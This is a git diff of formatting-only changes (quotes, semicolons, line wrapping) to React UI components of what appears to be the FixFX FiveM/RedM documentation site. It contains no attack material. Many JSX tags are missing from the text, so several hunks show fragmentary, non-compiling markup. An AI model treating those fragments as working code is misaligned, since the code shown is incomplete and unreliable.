+ + OpenAI + + } + color="#10B981" + isSelected={model === "gpt-4o"} + onClick={() => onModelChange("gpt-4o")} + isNew + /> + } + color="#5865F2" + isSelected={model === "gpt-4o-mini"} + onClick={() => onModelChange("gpt-4o-mini")} + /> + } + color="#8B5CF6" + isSelected={model === "gpt-4-turbo"} + onClick={() => onModelChange("gpt-4-turbo")} + isNew + /> + } + color="#6366F1" + isSelected={model === "gpt-3.5-turbo"} + onClick={() => onModelChange("gpt-3.5-turbo")} + isNew + /> +
+ + {/* Coming Soon Models */} +
+ + Coming Soon + + } + color="#34A853" + isSelected={model === "gemini-1.5-flash"} + onClick={() => onModelChange("gemini-1.5-flash")} + disabled + /> + } + color="#FF6B6C" + isSelected={model === "claude-3-haiku"} + onClick={() => onModelChange("claude-3-haiku")} + disabled + /> +
+
+ +
+
+ + + {temperature.toFixed(1)} + +
+
+
+ Precise + Creative +
+ onTemperatureChange(value)} + /> +
+

+ {temperature < 0.4 + ? "Lower values generate more focused, deterministic responses." + : temperature > 0.7 + ? "Higher values generate more creative, varied responses." + : "Balanced between deterministic and creative responses."} +

+
+ + {/* Privacy note section */} +
+

+ Privacy Info +

+
+

+ Chat history is stored only in your browser's local + storage. +

+

Clear browser storage to remove your chat history.

+
+
+
+ )} +
+ ) : ( + // Collapsed sidebar with just icons +
+ + + {NAV_LINKS.map((item) => { + if (item.href === "/ask") return null; // Skip the chat link as we already added it + + const Icon = item.icon; + return ( + - - -

GitHub

-
- - - - - - - - - -

Discord

-
-
-
-
-
+ asChild + > + {item.external ? ( + + + + ) : ( + + + + )} + + ); + })} + +
+ + {onNewChat && ( + + )} +
+ )} + + + {/* Footer with GitHub and Discord links */} +
+ + + + + + +

GitHub

+
+
+
+ + + + + + + +

Discord

+
+
+
- ); -} \ No newline at end of file + + + ); +} diff --git a/packages/ui/src/components/code-editor.tsx b/packages/ui/src/components/code-editor.tsx index 5bb1f3f..9eaf6e0 100644 --- a/packages/ui/src/components/code-editor.tsx +++ b/packages/ui/src/components/code-editor.tsx @@ -10,7 +10,11 @@ interface CodeEditorProps { language?: string; } -export function CodeEditor({ children, className, language = "typescript" }: CodeEditorProps) { +export function CodeEditor({ + children, + className, + language = "typescript", +}: CodeEditorProps) { return (
@@ -41,4 +45,4 @@ export function CodeEditor({ children, className, language = "typescript" }: Cod
); -} \ No newline at end of file +} diff --git a/packages/ui/src/components/dialog.tsx b/packages/ui/src/components/dialog.tsx index 2e679e3..a7fcbd8 100644 --- a/packages/ui/src/components/dialog.tsx +++ b/packages/ui/src/components/dialog.tsx @@ -1,15 +1,15 @@ -import * as React from "react" -import * as DialogPrimitive from "@radix-ui/react-dialog" -import { X } from "lucide-react" -import { cn } from "@utils/functions/cn" +import * as React from "react"; +import * as DialogPrimitive from "@radix-ui/react-dialog"; +import { X } from "lucide-react"; +import { cn } from "@utils/functions/cn"; -const Dialog = DialogPrimitive.Root +const Dialog = DialogPrimitive.Root; -const DialogTrigger = DialogPrimitive.Trigger +const DialogTrigger = DialogPrimitive.Trigger; -const DialogPortal = DialogPrimitive.Portal +const DialogPortal = DialogPrimitive.Portal; -const DialogClose = DialogPrimitive.Close +const DialogClose = DialogPrimitive.Close; const DialogOverlay = React.forwardRef< React.ElementRef, @@ -19,12 +19,12 @@ const DialogOverlay = React.forwardRef< ref={ref} className={cn( "fixed inset-0 z-50 bg-black/80 backdrop-blur-sm data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95", - className + className, )} {...props} /> -)) -DialogOverlay.displayName = DialogPrimitive.Overlay.displayName +)); +DialogOverlay.displayName = DialogPrimitive.Overlay.displayName; const DialogContent = React.forwardRef< React.ElementRef, @@ -36,7 +36,7 @@ const DialogContent = React.forwardRef< ref={ref} className={cn( "fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg", - className + className, )} {...props} > @@ -47,8 +47,8 @@ const DialogContent = React.forwardRef< -)) -DialogContent.displayName = DialogPrimitive.Content.displayName +)); +DialogContent.displayName = DialogPrimitive.Content.displayName; const DialogHeader = ({ className, @@ -57,12 +57,12 @@ const DialogHeader = ({
-) -DialogHeader.displayName = "DialogHeader" +); +DialogHeader.displayName = "DialogHeader"; const DialogFooter = ({ className, @@ -71,12 +71,12 @@ const DialogFooter = ({
-) -DialogFooter.displayName = "DialogFooter" +); +DialogFooter.displayName = "DialogFooter"; const DialogTitle = React.forwardRef< React.ElementRef, @@ -86,12 +86,12 @@ const DialogTitle = React.forwardRef< ref={ref} className={cn( "text-lg font-semibold leading-none tracking-tight", - className + className, )} {...props} /> -)) -DialogTitle.displayName = DialogPrimitive.Title.displayName +)); +DialogTitle.displayName = DialogPrimitive.Title.displayName; const DialogDescription = React.forwardRef< React.ElementRef, @@ -102,8 +102,8 @@ const DialogDescription = React.forwardRef< className={cn("text-sm text-muted-foreground", className)} {...props} /> -)) -DialogDescription.displayName = DialogPrimitive.Description.displayName +)); +DialogDescription.displayName = DialogPrimitive.Description.displayName; export { Dialog, @@ -116,4 +116,4 @@ export { DialogFooter, DialogTitle, DialogDescription, -} \ No newline at end of file +}; diff --git a/packages/ui/src/components/dropdown-menu.tsx b/packages/ui/src/components/dropdown-menu.tsx index 2cd76bd..656d0ea 100644 --- a/packages/ui/src/components/dropdown-menu.tsx +++ b/packages/ui/src/components/dropdown-menu.tsx @@ -18,7 +18,7 @@ const DropdownMenuContent = React.forwardRef< sideOffset={sideOffset} className={cn( "z-50 min-w-[8rem] overflow-hidden rounded-md border border-border bg-popover p-1 text-popover-foreground shadow-md animate-in data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2", - className + className, )} {...props} /> @@ -37,7 +37,7 @@ const DropdownMenuItem = React.forwardRef< className={cn( "relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 hover:bg-accent/50", inset && "pl-8", - className + className, )} {...props} /> @@ -49,4 +49,4 @@ export { DropdownMenuTrigger, DropdownMenuContent, DropdownMenuItem, -}; \ No newline at end of file +}; diff --git a/packages/ui/src/components/file-source.tsx b/packages/ui/src/components/file-source.tsx index 06cb9fe..01adece 100644 --- a/packages/ui/src/components/file-source.tsx +++ b/packages/ui/src/components/file-source.tsx @@ -1,6 +1,8 @@ -'use client'; +"use client"; -import { useEffect, useState } from 'react';import { API_URL } from "@/packages/utils/src/constants/link";import { SourceCode } from '@ui/components'; +import { useEffect, useState } from "react"; +import { API_URL } from "@/packages/utils/src/constants/link"; +import { SourceCode } from "@ui/components"; interface FileSourceProps { filePath: string; @@ -8,41 +10,41 @@ interface FileSourceProps { } const languageMap: Record = { - '.ts': 'typescript', - '.tsx': 'tsx', - '.js': 'javascript', - '.jsx': 'jsx', - '.json': 'json', - '.md': 'markdown', - '.mdx': 'mdx', - '.css': 'css', - '.scss': 'scss', - '.html': 'html', - '.yaml': 'yaml', - '.yml': 'yaml', - '.sh': 'bash', - '.bash': 'bash', - '.sql': 'sql', - '.lua': 'lua', - '.go': 'go', - '.mod': 'go', - '.sum': 'text', - '.py': 'python', - '.rb': 'ruby', - '.java': 'java', - '.cs': 'csharp', - '.cpp': 'cpp', - '.c': 'c', - '.h': 'c', - '.hpp': 'cpp', - '.xml': 'xml', - '.toml': 'toml', - '.env': 'bash', + ".ts": "typescript", + ".tsx": "tsx", + ".js": "javascript", + ".jsx": "jsx", + ".json": "json", + ".md": "markdown", + ".mdx": "mdx", + ".css": "css", + ".scss": "scss", + ".html": "html", + ".yaml": "yaml", + ".yml": "yaml", + ".sh": "bash", + ".bash": "bash", + ".sql": "sql", + ".lua": "lua", + ".go": "go", + ".mod": "go", + ".sum": "text", + ".py": "python", + ".rb": "ruby", + ".java": "java", + ".cs": "csharp", + ".cpp": "cpp", + ".c": "c", + ".h": "c", + ".hpp": "cpp", + ".xml": "xml", + ".toml": "toml", + ".env": "bash", }; function getLanguage(filePath: string): string { - const ext = filePath.substring(filePath.lastIndexOf('.')); - return languageMap[ext] || 'text'; + const ext = filePath.substring(filePath.lastIndexOf(".")); + return languageMap[ext] || "text"; } export function FileSource({ filePath, title }: FileSourceProps) { @@ -53,14 +55,16 @@ export function FileSource({ filePath, title }: FileSourceProps) { useEffect(() => { async function fetchCode() { try { - const res = await fetch(`${API_URL}/api/source?path=${encodeURIComponent(filePath)}`); + const res = await fetch( + `${API_URL}/api/source?path=${encodeURIComponent(filePath)}`, + ); if (!res.ok) { - throw new Error('Failed to load file'); + throw new Error("Failed to load file"); } const data = await res.json(); setCode(data.code); } catch (err) { - setError(err instanceof Error ? err.message : 'Unknown error'); + setError(err instanceof Error ? err.message : "Unknown error"); } finally { setLoading(false); } diff --git a/packages/ui/src/components/githubInfo.tsx b/packages/ui/src/components/githubInfo.tsx index c9f5a56..6569a34 100644 --- a/packages/ui/src/components/githubInfo.tsx +++ b/packages/ui/src/components/githubInfo.tsx @@ -1,6 +1,6 @@ -import { cn } from '@utils/functions/cn'; -import { Star, GitFork, GitCommit, Tag } from 'lucide-react'; -import { type AnchorHTMLAttributes } from 'react'; +import { cn } from "@utils/functions/cn"; +import { Star, GitFork, GitCommit, Tag } from "lucide-react"; +import { type AnchorHTMLAttributes } from "react"; async function getRepoStats( owner: string, @@ -16,10 +16,10 @@ async function getRepoStats( }> { const endpoint = `https://api.github.com/repos/${owner}/${repo}`; const headers = new Headers({ - 'Content-Type': 'application/json', + "Content-Type": "application/json", }); - if (token) headers.set('Authorization', `Bearer ${token}`); + if (token) headers.set("Authorization", `Bearer ${token}`); const response = await fetch(endpoint, { headers }); @@ -32,7 +32,9 @@ async function getRepoStats( return { stars: data.stargazers_count, forks: data.forks_count, - commits: data.default_branch ? await getCommitCount(owner, repo, data.default_branch, token) : 0, + commits: data.default_branch + ? await getCommitCount(owner, repo, data.default_branch, token) + : 0, releases: data.releases_count || 0, openIssues: data.open_issues_count, watchers: data.watchers_count, @@ -47,10 +49,10 @@ async function getCommitCount( ): Promise { const endpoint = `https://api.github.com/repos/${owner}/${repo}/commits?sha=${branch}&per_page=1`; const headers = new Headers({ - 'Content-Type': 'application/json', + "Content-Type": "application/json", }); - if (token) headers.set('Authorization', `Bearer ${token}`); + if (token) headers.set("Authorization", `Bearer ${token}`); const response = await fetch(endpoint, { headers }); @@ -58,7 +60,7 @@ async function getCommitCount( return 0; } - const linkHeader = response.headers.get('link'); + const linkHeader = response.headers.get("link"); if (!linkHeader) { return 1; } @@ -81,11 +83,8 @@ export async function GithubInfo({ repo: string; token?: string; }) { - const { stars, forks, commits, releases, openIssues, watchers } = await getRepoStats( - owner, - repo, - token, - ); + const { stars, forks, commits, releases, openIssues, watchers } = + await getRepoStats(owner, repo, token); return ( @@ -152,7 +151,7 @@ function humanizeNumber(num: number): string { // For numbers between 1,000 and 99,999, show with one decimal (e.g., 1.5K) const value = (num / 1000).toFixed(1); // Remove trailing .0 if present - const formattedValue = value.endsWith('.0') ? value.slice(0, -2) : value; + const formattedValue = value.endsWith(".0") ? value.slice(0, -2) : value; return `${formattedValue}K`; } @@ -164,4 +163,4 @@ function humanizeNumber(num: number): string { // For 1,000,000 and above, just return the number return num.toString(); -} \ No newline at end of file +} diff --git a/packages/ui/src/components/guidelines-modal.tsx b/packages/ui/src/components/guidelines-modal.tsx index 0d735d9..7f11060 100644 --- a/packages/ui/src/components/guidelines-modal.tsx +++ b/packages/ui/src/components/guidelines-modal.tsx @@ -186,22 +186,19 @@ function formatMarkdownText(text: string): React.ReactNode { className="text-fd-primary hover:underline" > {match[1]} - + , ); } else if (match[3]) { parts.push( {match[3]} - + , ); } else if (match[4]) { parts.push( - + {match[4]} - + , ); } else if (match[5]) { parts.push( @@ -210,7 +207,7 @@ function formatMarkdownText(text: string): React.ReactNode { className="rounded bg-fd-muted px-1.5 py-0.5 font-mono text-xs text-fd-foreground" > {match[5]} - + , ); } diff --git a/packages/ui/src/components/image-modal.tsx b/packages/ui/src/components/image-modal.tsx index c6ea3fd..8656879 100644 --- a/packages/ui/src/components/image-modal.tsx +++ b/packages/ui/src/components/image-modal.tsx @@ -1,8 +1,8 @@ -'use client'; +"use client"; -import { useState, useEffect } from 'react'; -import { createPortal } from 'react-dom'; -import { X } from 'lucide-react'; +import { useState, useEffect } from "react"; +import { createPortal } from "react-dom"; +import { X } from "lucide-react"; interface ImageModalProps { src: string; @@ -14,7 +14,15 @@ interface ImageModalProps { caption?: string; } -export function ImageModal({ src, alt, title, width, height, className, caption }: ImageModalProps) { +export function ImageModal({ + src, + alt, + title, + width, + height, + className, + caption, +}: ImageModalProps) { const [isOpen, setIsOpen] = useState(false); const [mounted, setMounted] = useState(false); @@ -24,12 +32,12 @@ export function ImageModal({ src, alt, title, width, height, className, caption useEffect(() => { if (isOpen) { - document.body.style.overflow = 'hidden'; + document.body.style.overflow = "hidden"; } else { - document.body.style.overflow = 'unset'; + document.body.style.overflow = "unset"; } return () => { - document.body.style.overflow = 'unset'; + document.body.style.overflow = "unset"; }; }, [isOpen]); @@ -38,48 +46,48 @@ export function ImageModal({ src, alt, title, width, height, className, caption {/* Backdrop */}
setIsOpen(false)} /> - + {/* Modal Content */}
{/* Close Button */} - + {/* Caption */} {caption && (
diff --git a/packages/ui/src/components/input.tsx b/packages/ui/src/components/input.tsx index 5caba45..bc7dd27 100644 --- a/packages/ui/src/components/input.tsx +++ b/packages/ui/src/components/input.tsx @@ -1,24 +1,23 @@ -import * as React from "react" -import { cn } from "@utils/functions/cn" +import * as React from "react"; +import { cn } from "@utils/functions/cn"; -export interface InputProps - extends React.InputHTMLAttributes { } +export interface InputProps extends React.InputHTMLAttributes {} const Input = React.forwardRef( - ({ className, type, ...props }, ref) => { - return ( - - ) - } -) -Input.displayName = "Input" + ({ className, type, ...props }, ref) => { + return ( + + ); + }, +); +Input.displayName = "Input"; -export { Input } \ No newline at end of file +export { Input }; diff --git a/packages/ui/src/components/label.tsx b/packages/ui/src/components/label.tsx index 5f2024c..4fee179 100644 --- a/packages/ui/src/components/label.tsx +++ b/packages/ui/src/components/label.tsx @@ -1,22 +1,22 @@ -"use client" +"use client"; -import * as React from "react" -import * as LabelPrimitive from "@radix-ui/react-label" -import { cn } from "@utils/functions/cn" +import * as React from "react"; +import * as LabelPrimitive from "@radix-ui/react-label"; +import { cn } from "@utils/functions/cn"; const Label = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef + React.ElementRef, + React.ComponentPropsWithoutRef >(({ className, ...props }, ref) => ( - -)) -Label.displayName = LabelPrimitive.Root.displayName + +)); +Label.displayName = LabelPrimitive.Root.displayName; -export { Label } \ No newline at end of file +export { Label }; diff --git a/packages/ui/src/components/mdx-components.tsx b/packages/ui/src/components/mdx-components.tsx index 6a15ecf..b26e893 100644 --- a/packages/ui/src/components/mdx-components.tsx +++ b/packages/ui/src/components/mdx-components.tsx @@ -3,11 +3,11 @@ import * as React from "react"; import { cn } from "@utils/functions/cn"; import { ImageZoom } from "fumadocs-ui/components/image-zoom"; -import { - CheckCircle2, - Circle, - Terminal, - Copy, +import { + CheckCircle2, + Circle, + Terminal, + Copy, Check, Info, Zap, @@ -49,7 +49,7 @@ import { Cloud, Mic, Video, - Radio + Radio, } from "lucide-react"; // ============================================================================ @@ -130,7 +130,11 @@ const featureIconMap: Record = { image: FileText, }; -export function FeatureList({ features, columns = 1, title }: FeatureListProps) { +export function FeatureList({ + features, + columns = 1, + title, +}: FeatureListProps) { if (!features || !Array.isArray(features)) { return null; } @@ -144,11 +148,11 @@ export function FeatureList({ features, columns = 1, title }: FeatureListProps) className={cn( "grid gap-3", columns === 2 && "md:grid-cols-2", - columns === 3 && "md:grid-cols-3" + columns === 3 && "md:grid-cols-3", )} > {features.map((feature, index) => { - const Icon = feature.icon ? (featureIconMap[feature.icon] || Zap) : Zap; + const Icon = feature.icon ? featureIconMap[feature.icon] || Zap : Zap; return (
-

{feature.title}

+

+ {feature.title} +

{feature.description && (

{feature.description} @@ -187,14 +193,21 @@ interface DefinitionListProps { variant?: "default" | "compact" | "bordered"; } -export function DefinitionList({ items, variant = "default" }: DefinitionListProps) { +export function DefinitionList({ + items, + variant = "default", +}: DefinitionListProps) { if (variant === "compact") { return (

{items.map((item, index) => (
- {item.term} - — {item.description} + + {item.term} + + + — {item.description} +
))}
@@ -205,7 +218,10 @@ export function DefinitionList({ items, variant = "default" }: DefinitionListPro return (
{items.map((item, index) => ( -
+
{item.term} @@ -221,7 +237,9 @@ export function DefinitionList({ items, variant = "default" }: DefinitionListPro {items.map((item, index) => (
{item.term}
-
{item.description}
+
+ {item.description} +
))} @@ -238,19 +256,23 @@ interface CheckListProps { columns?: 1 | 2 | 3; } -export function CheckList({ items, variant = "check", columns = 1 }: CheckListProps) { +export function CheckList({ + items, + variant = "check", + columns = 1, +}: CheckListProps) { if (!items || !Array.isArray(items)) { return null; } const Icon = variant === "check" ? CheckCircle2 : Circle; - + return (
{items.map((item, index) => ( @@ -261,7 +283,9 @@ export function CheckList({ items, variant = "check", columns = 1 }: CheckListPr )} @@ -282,7 +306,11 @@ interface CommandCardProps { variant?: "default" | "danger" | "warning"; } -export function CommandCard({ command, description, variant = "default" }: CommandCardProps) { +export function CommandCard({ + command, + description, + variant = "default", +}: CommandCardProps) { const [copied, setCopied] = React.useState(false); const handleCopy = () => { @@ -297,7 +325,7 @@ export function CommandCard({ command, description, variant = "default" }: Comma "my-2 overflow-hidden rounded-lg border", variant === "danger" && "border-red-500/30 bg-red-500/5", variant === "warning" && "border-amber-500/30 bg-amber-500/5", - variant === "default" && "border-fd-border bg-fd-card" + variant === "default" && "border-fd-border bg-fd-card", )} >
@@ -367,9 +395,14 @@ export function CommandTable({ commands, title }: CommandTableProps) { )}
{commands.map((cmd, index) => ( -
+
- {cmd.command} + + {cmd.command} +
-

{cmd.description}

+

+ {cmd.description} +

{cmd.example && (
- {cmd.example} + + {cmd.example} +
)}
@@ -405,7 +442,12 @@ interface PropertyCardProps { type?: "info" | "success" | "warning" | "error"; } -export function PropertyCard({ name, value, description, type = "info" }: PropertyCardProps) { +export function PropertyCard({ + name, + value, + description, + type = "info", +}: PropertyCardProps) { const colors = { info: "border-blue-500/30 bg-blue-500/5", success: "border-green-500/30 bg-green-500/5", @@ -503,7 +545,7 @@ export function IconGrid({ items, columns = 3 }: IconGridProps) { "my-4 grid gap-3", columns === 2 && "grid-cols-2", columns === 3 && "grid-cols-2 sm:grid-cols-3", - columns === 4 && "grid-cols-2 sm:grid-cols-4" + columns === 4 && "grid-cols-2 sm:grid-cols-4", )} > {items.map((item, index) => { @@ -516,9 +558,13 @@ export function IconGrid({ items, columns = 3 }: IconGridProps) {
- {item.label} + + {item.label} + {item.description && ( - {item.description} + + {item.description} + )}
); @@ -548,11 +594,15 @@ export function Shortcut({ keys, description }: ShortcutProps) { {key} - {index < keys.length - 1 && +} + {index < keys.length - 1 && ( + + + )} ))} {description && ( - {description} + + {description} + )} ); @@ -580,7 +630,7 @@ export function StatusBadge({ status, children }: StatusBadgeProps) { {children} @@ -611,13 +661,26 @@ interface TroubleshootingCardProps { solution?: string; } -export function TroubleshootingCard({ title, problem, symptoms, causes, solutions, solution }: TroubleshootingCardProps) { +export function TroubleshootingCard({ + title, + problem, + symptoms, + causes, + solutions, + solution, +}: TroubleshootingCardProps) { const [isExpanded, setIsExpanded] = React.useState(false); // Support both single solution string and solutions array // Handle both literal \n and actual newlines - const solutionsList = solutions || (solution ? - solution.split(/\\n|\n/).map(s => s.trim()).filter(s => s) : []); + const solutionsList = + solutions || + (solution + ? solution + .split(/\\n|\n/) + .map((s) => s.trim()) + .filter((s) => s) + : []); return (
@@ -634,7 +697,7 @@ export function TroubleshootingCard({ title, problem, symptoms, causes, solution @@ -657,7 +720,10 @@ export function TroubleshootingCard({ title, problem, symptoms, causes, solution
+ ); + }, + th({ children }) { + return ( + + {children} + + ); + }, + td({ children }) { + return ( + {children} + ); + }, + img({ src, alt }) { + return ( + {alt} + ); + }, + }} + > + {content} + + ); + }; + + return ( +
+ + {showNotice && ( + +
+
+
+
+ +
+
+

+ AI responses may be inaccurate +

+

+ Always verify with{" "} + + official docs + {" "} + or{" "} + + our guides + {" "} + before production use. +

+
+
+ +
- -
-
+ )} + + +
+ +
+ {messages.map((message, index) => ( + + {/* Avatar */} +
+ {message.role === "user" ? ( + + ) : ( + + )} +
+ + {/* Message content */} +
-
- +
+ {renderMessageContent(message.content)} +
+ + {formatTimestamp( + message.timestamp || message.createdAt?.getTime(), + )} + +
+ + ))} + {isLoading && ( + +
+ +
+
+
+
+ + +
- - -
-
- ); -} \ No newline at end of file + + Thinking... + +
+
+ + )} +
+
+
+
+ +
+
+
+ +
+ +
+
+
+ ); +} diff --git a/packages/ui/src/core/common/mobile-navigation.tsx b/packages/ui/src/core/common/mobile-navigation.tsx index aafe2a6..ab73fa0 100644 --- a/packages/ui/src/core/common/mobile-navigation.tsx +++ b/packages/ui/src/core/common/mobile-navigation.tsx @@ -1,4 +1,4 @@ -"use client" +"use client"; import { Button } from "@ui/components/button"; import Link from "next/link"; @@ -7,71 +7,85 @@ import { useEffect, useRef } from "react"; import { NAV_LINKS } from "@utils/constants/link"; interface MobileNavigationProps { - isOpen: boolean; - onClose: () => void; - currentPath: string; + isOpen: boolean; + onClose: () => void; + currentPath: string; } -export function MobileNavigation({ isOpen, onClose, currentPath }: MobileNavigationProps) { - const containerRef = useRef(null); +export function MobileNavigation({ + isOpen, + onClose, + currentPath, +}: MobileNavigationProps) { + const containerRef = useRef(null); - // Handle click outside to close - useEffect(() => { - if (!isOpen) return; + // Handle click outside to close + useEffect(() => { + if (!isOpen) return; - const handleClickOutside = (e: MouseEvent) => { - if (containerRef.current && !containerRef.current.contains(e.target as Node)) { - onClose(); - } - }; + const handleClickOutside = (e: MouseEvent) => { + if ( + containerRef.current && + !containerRef.current.contains(e.target as Node) + ) { + onClose(); + } + }; - // Add a slight delay to avoid immediate closure - setTimeout(() => { - document.addEventListener('mousedown', handleClickOutside); - }, 100); + // Add a slight delay to avoid immediate closure + setTimeout(() => { + document.addEventListener("mousedown", handleClickOutside); + }, 100); - return () => { - document.removeEventListener('mousedown', handleClickOutside); - }; - }, [isOpen, onClose]); + return () => { + document.removeEventListener("mousedown", handleClickOutside); + }; + }, [isOpen, onClose]); - return ( -
-
- {NAV_LINKS.map((item) => { - const Icon = item.icon; - return ( - - ); - })} -
-
- ); + return ( +
+
+ {NAV_LINKS.map((item) => { + const Icon = item.icon; + return ( + + ); + })} +
+
+ ); } diff --git a/packages/ui/src/core/docs/editor-client.tsx b/packages/ui/src/core/docs/editor-client.tsx index c55486e..3fd35c0 100644 --- a/packages/ui/src/core/docs/editor-client.tsx +++ b/packages/ui/src/core/docs/editor-client.tsx @@ -30,7 +30,7 @@ local function getUsers() end) end return userCache.data -end` +end`, }, { title: "Event Handler with Rate Limiting", @@ -42,8 +42,8 @@ AddEventHandler('event:name', function() lastCall = currentTime -- Process event end -end)` - } +end)`, + }, ], javascript: [ { @@ -61,7 +61,7 @@ async function getUsers() { userCache.lastUpdate = currentTime; } return userCache.data; -}` +}`, }, { title: "Event Handler with Rate Limiting", @@ -72,8 +72,8 @@ onNet('event:name', () => { lastCall = currentTime; // Process event } -});` - } +});`, + }, ], csharp: [ { @@ -93,7 +93,7 @@ onNet('event:name', () => { } return _cache; } -}` +}`, }, { title: "Event Handler with Rate Limiting", @@ -111,15 +111,15 @@ onNet('event:name', () => { // Process event } } -}` - } - ] +}`, + }, + ], }; const tabs = [ { id: "lua", label: "Lua" }, { id: "javascript", label: "JavaScript" }, - { id: "csharp", label: "C#" } + { id: "csharp", label: "C#" }, ] as const; export function EditorClient() { @@ -153,12 +153,19 @@ export function EditorClient() {
- +
{examples[activeTab].map((example, index) => (
-

{example.title}

-
{example.code}
+

+ {example.title} +

+
+                      {example.code}
+                    
))}
@@ -176,7 +183,9 @@ export function EditorClient() {
- {example.title} + + {example.title} +
))} @@ -192,4 +201,4 @@ export function EditorClient() {
); -} \ No newline at end of file +} diff --git a/packages/ui/src/core/docs/editor.tsx b/packages/ui/src/core/docs/editor.tsx index e1c7ce6..b40ee9c 100644 --- a/packages/ui/src/core/docs/editor.tsx +++ b/packages/ui/src/core/docs/editor.tsx @@ -2,4 +2,4 @@ import { EditorClient } from "./editor-client"; export function Editor() { return ; -} \ No newline at end of file +} diff --git a/packages/ui/src/core/landing/about.tsx b/packages/ui/src/core/landing/about.tsx index 6eef510..535da43 100644 --- a/packages/ui/src/core/landing/about.tsx +++ b/packages/ui/src/core/landing/about.tsx @@ -13,11 +13,14 @@ export function Features() { >
-

Comprehensive CitizenFX Guides

+

+ Comprehensive CitizenFX Guides +

- Everything you need to manage servers, troubleshoot errors, and develop resources for FiveM and RedM. + Everything you need to manage servers, troubleshoot errors, and + develop resources for FiveM and RedM.

- +
} @@ -51,7 +54,7 @@ export function Features() { />
- +
{icon}
diff --git a/packages/ui/src/core/landing/contributors.tsx b/packages/ui/src/core/landing/contributors.tsx index 6ee3783..fec65d0 100644 --- a/packages/ui/src/core/landing/contributors.tsx +++ b/packages/ui/src/core/landing/contributors.tsx @@ -107,7 +107,9 @@ export async function Contributors() {
{contributor.contributions > 0 && (
- {contributor.contributions > 99 ? "99+" : contributor.contributions} + {contributor.contributions > 99 + ? "99+" + : contributor.contributions}
)}
diff --git a/packages/ui/src/core/landing/docs-preview.tsx b/packages/ui/src/core/landing/docs-preview.tsx index a791876..deee3bf 100644 --- a/packages/ui/src/core/landing/docs-preview.tsx +++ b/packages/ui/src/core/landing/docs-preview.tsx @@ -7,28 +7,32 @@ import { ArrowRight, BookOpen, Boxes, Wrench, Database } from "lucide-react"; const docSections = [ { title: "Getting Started", - description: "Step-by-step guides for setting up your FiveM or RedM server from scratch.", + description: + "Step-by-step guides for setting up your FiveM or RedM server from scratch.", href: "/docs/core", icon: BookOpen, gradient: "from-blue-500 to-cyan-500", }, { title: "Framework Guides", - description: "Documentation for ESX, QBCore, vRP, and other popular frameworks.", + description: + "Documentation for ESX, QBCore, vRP, and other popular frameworks.", href: "/docs/frameworks", icon: Boxes, gradient: "from-purple-500 to-pink-500", }, { title: "Troubleshooting", - description: "Fix common errors and crashes for servers and clients quickly.", + description: + "Fix common errors and crashes for servers and clients quickly.", href: "/docs/cfx/common-errors", icon: Wrench, gradient: "from-orange-500 to-red-500", }, { title: "Database Setup", - description: "Configure MySQL, MariaDB, and other databases for your server.", + description: + "Configure MySQL, MariaDB, and other databases for your server.", href: "/docs/guides/database-setup", icon: Database, gradient: "from-green-500 to-emerald-500", @@ -70,10 +74,14 @@ export function DocsPreview() {
{/* Gradient accent */} -
+
{/* Icon */} -
+
diff --git a/packages/ui/src/core/landing/features.tsx b/packages/ui/src/core/landing/features.tsx index b7215b2..d1905af 100644 --- a/packages/ui/src/core/landing/features.tsx +++ b/packages/ui/src/core/landing/features.tsx @@ -1,7 +1,15 @@ "use client"; import { BorderBeam } from "@ui/components"; -import { Code, Server, Database, Globe, Bug, Users, ArrowUpRight } from "lucide-react"; +import { + Code, + Server, + Database, + Globe, + Bug, + Users, + ArrowUpRight, +} from "lucide-react"; import { motion } from "motion/react"; import Link from "next/link"; @@ -9,42 +17,48 @@ const features = [ { icon: Server, title: "Server Management", - description: "Setup, maintenance, and optimization guides for FiveM and RedM server owners.", + description: + "Setup, maintenance, and optimization guides for FiveM and RedM server owners.", href: "/docs/guides/server-configuration", color: "blue", }, { icon: Code, title: "Resource Development", - description: "Lua, JavaScript and C# tutorials for creating custom CitizenFX resources.", + description: + "Lua, JavaScript and C# tutorials for creating custom CitizenFX resources.", href: "/docs/cfx/resource-development", color: "purple", }, { icon: Database, title: "Database Integration", - description: "MySQL, MongoDB and framework integration solutions for server data persistence.", + description: + "MySQL, MongoDB and framework integration solutions for server data persistence.", href: "/docs/guides/database-setup", color: "green", }, { icon: Bug, title: "Error Solutions", - description: "Fixes for artifacts, client crashes, server errors, and networking issues.", + description: + "Fixes for artifacts, client crashes, server errors, and networking issues.", href: "/docs/cfx/common-errors", color: "red", }, { icon: Globe, title: "Multiplayer Frameworks", - description: "ESX, QBCore, vRP, and other popular FiveM/RedM framework documentation.", + description: + "ESX, QBCore, vRP, and other popular FiveM/RedM framework documentation.", href: "/docs/frameworks", color: "cyan", }, { icon: Users, title: "Player Guides", - description: "Installation help, mod management, and troubleshooting for players.", + description: + "Installation help, mod management, and troubleshooting for players.", href: "/docs/cfx/faq", color: "orange", }, @@ -86,7 +100,8 @@ export function Features() { FiveM & RedM Solutions

- Comprehensive guides for server owners, developers, and players in the CitizenFX ecosystem. + Comprehensive guides for server owners, developers, and players in the + CitizenFX ecosystem.

diff --git a/packages/ui/src/core/landing/tracer.tsx b/packages/ui/src/core/landing/tracer.tsx index 0b938d4..6eb014c 100644 --- a/packages/ui/src/core/landing/tracer.tsx +++ b/packages/ui/src/core/landing/tracer.tsx @@ -23,7 +23,8 @@ export function Tracer() { Fix Issues, Learn, and Build

- From server crashes to framework integration, FixFX guides you every step of the way. + From server crashes to framework integration, FixFX guides you every + step of the way.

